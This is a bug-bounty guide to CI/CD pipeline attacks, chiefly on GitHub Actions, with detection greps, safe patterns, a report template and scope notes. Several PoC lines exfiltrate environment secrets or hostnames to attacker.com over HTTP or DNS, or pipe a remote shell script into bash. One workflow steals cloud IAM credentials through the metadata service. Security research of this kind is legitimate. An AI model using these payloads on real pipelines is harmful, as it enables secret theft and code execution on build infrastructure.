CI/CD SECURITY — Pipeline Attack Surface

CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.

0. QUICK KILL CHECKLIST

[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely

1. TOOL — cicd_scanner.sh

# Single repo
bash bughunter/tools/cicd_scanner.sh owner/repo

# Org-wide (up to 30 repos)
bash bughunter/tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5

# Scan with recursive reusable workflow analysis
bash bughunter/tools/cicd_scanner.sh owner/repo --recursive --depth 5

# Custom output
bash bughunter/tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd

Output: findings/<target>/cicd/scan_results.txt + summary.txt

What sisakulint finds:

• Script injection via untrusted context
• Unpinned actions (tag instead of SHA)
• pull_request_target misuse
• Dangerous patterns (eval, curl | bash, etc.)
• Exposed secret names in run: blocks

2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)

What It Is

GitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.

Vulnerable Pattern

# VULNERABLE — attacker controls pr.title
- name: Print PR title
  run: echo "Title: ${{ github.event.pull_request.title }}"
  # Attacker PR title: "; curl attacker.com/shell.sh | bash #"

Safe Pattern

# SAFE — pass through env var, never interpolate directly
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Injectable Contexts (always check these)

github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref        ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref                            ← alias for branch name
github.event.inputs.*                      ← workflow_dispatch inputs

PoC Payload

# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #

Detection Grep

# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/

3. pull_request_target MISUSE (Critical)

What It Is

pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.

Vulnerable Pattern

on: pull_request_target

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← attacker code!
      - run: npm test  # runs attacker's package.json scripts

Why It's Critical

• pull_request_target has access to secrets
• Checkout uses the PR's code
• Any run: step executes attacker-controlled code with access to all org secrets

Detection

grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'

4. SECRET EXFILTRATION

Secrets That Appear in Logs

# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'

GITHUB_TOKEN Abuse

The auto-generated GITHUB_TOKEN can be used to:

• Push code to branches
• Create releases
• Read all private repo content
• Approve PRs (if permissions allow)

# Check for overly broad permissions
permissions:
  contents: write    # ← Can push/delete code
  packages: write    # ← Can push malicious packages
  pull-requests: write

PoC — Exfil via DNS

# In an injected run: block
curl "https://attacker.com/?d=$(printenv | base64 -w0)"
# Or via DNS (more stealthy)
nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"

5. SELF-HOSTED RUNNER POISONING

Why It Matters

Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.

Detection

# In workflow files
grep -rn 'self-hosted' .github/workflows/
# Combined with — does the repo accept PRs from forks?
# Pull triggers that run on self-hosted
grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'

Exploit Path

1. Fork public repo that uses self-hosted runners
2. Open PR with malicious workflow step
3. Job runs on internal self-hosted runner
4. Access internal network, read instance metadata, exfil secrets

PoC Workflow Addition

# Attacker adds to fork:
jobs:
  pwn:
    runs-on: self-hosted
    steps:
      - name: Recon
        run: |
          curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
            | xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{}

6. OIDC TOKEN THEFT / CLOUD CREDENTIAL ABUSE

What It Is

GitHub Actions can request short-lived cloud credentials via OIDC. Misconfigured trust policies allow any branch/repo to claim elevated AWS/GCP/Azure roles.

Detection

# Find OIDC usage
grep -rn 'id-token.*write\|configure-aws-credentials\|google-github-actions\|azure/login' .github/workflows/

Exploit: Overly Broad AWS Trust Policy

{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:org/*:*"
    }
  }
}

→ Any branch in the org can assume this role.

What to Check

1. What role does the workflow assume? (aws:role: ARN in workflow or secrets)
2. Is the trust policy scoped to a specific branch? (ref:refs/heads/main)
3. Can you trigger this from a fork or feature branch?
4. What permissions does the role have?

7. DEPENDENCY CONFUSION / SUPPLY CHAIN

Unpinned Actions

# VULNERABLE — could be hijacked if maintainer's account is compromised
uses: actions/checkout@v3

# SAFE — pinned to a specific commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

Dependency Confusion Attack

1. Find package.json or requirements.txt that references internal packages
2. Check if the internal package name is published on npm/PyPI
3. Publish a malicious package with a higher version number
4. Build server installs the public (malicious) one instead

Detection

# Find internal package names in config files
grep -rn '"registry"' package.json .npmrc
grep -rn 'index-url\|extra-index-url' requirements.txt pip.conf setup.py
# Check if those package names exist on public registries

8. BUG CLASS TABLE

9. CHAINING CI/CD BUGS

Chain A: IDOR → CI/CD Secret Read

1. IDOR on /api/repos/{id}/settings → read CI/CD config
2. Config references internal secret names
3. Workflow injection to exfil those secrets
→ Impact: Full org secret exfiltration

Chain B: XSS → GitHub Token Theft

1. Stored XSS on internal GitHub Enterprise
2. JS payload reads document.cookie / localStorage for GITHUB_TOKEN
3. Token used to trigger workflow with malicious inputs
→ Impact: RCE on build infrastructure

Chain C: Supply Chain → Production Push

1. Find unpinned action (e.g., uses: corp/internal-action@main)
2. Fork or compromise corp/internal-action
3. Merge malicious code
4. Next CI run pulls the compromised action with full repo write access
→ Impact: Code execution, backdoored releases

10. REPORT TEMPLATE

## Summary
GitHub Actions workflow in `<repo>` is vulnerable to **workflow injection** via the
`github.event.pull_request.title` context variable, which is interpolated directly
into a `run:` shell block. An attacker who opens a specially crafted PR can achieve
arbitrary code execution on the build runner with full access to all repository secrets.

## Steps to Reproduce
1. Fork `<repo>`
2. Open a PR with the following title:
   `"; curl -s attacker.com/$(cat /etc/hostname | base64 -w0 | head -c 40) #`
3. The CI workflow `.github/workflows/<name>.yml` runs and executes the injected command.
4. Observe DNS/HTTP callback to attacker.com with hostname (or secret payload).

## Impact
- RCE on build runner
- Read of all `${{ secrets.* }}` available to the workflow
- Ability to push malicious code to repository or publish backdoored packages
- Pivot to internal network if runner is self-hosted

## Remediation
Replace direct context interpolation with environment variable assignment:
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"

## CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Critical, 10.0)

11. SCOPE NOTES

• Most bug bounty programs scope public repos only — confirm before touching private org repos.
• Self-hosted runner attacks require a successful workflow run, which means opening a real PR — confirm the program allows this.
• Never trigger a workflow that could affect production infrastructure without explicit written permission.
• Always check SECURITY.md or the program policy for CI/CD-specific scope language.

12. TOOLS REFERENCE

# Download public workflow run logs (no auth needed)
gh run list --repo owner/repo --limit 10
gh run view <run-id> --log --repo owner/repo

# List exposed secret names (names only — values never shown by API)
gh secret list --repo owner/repo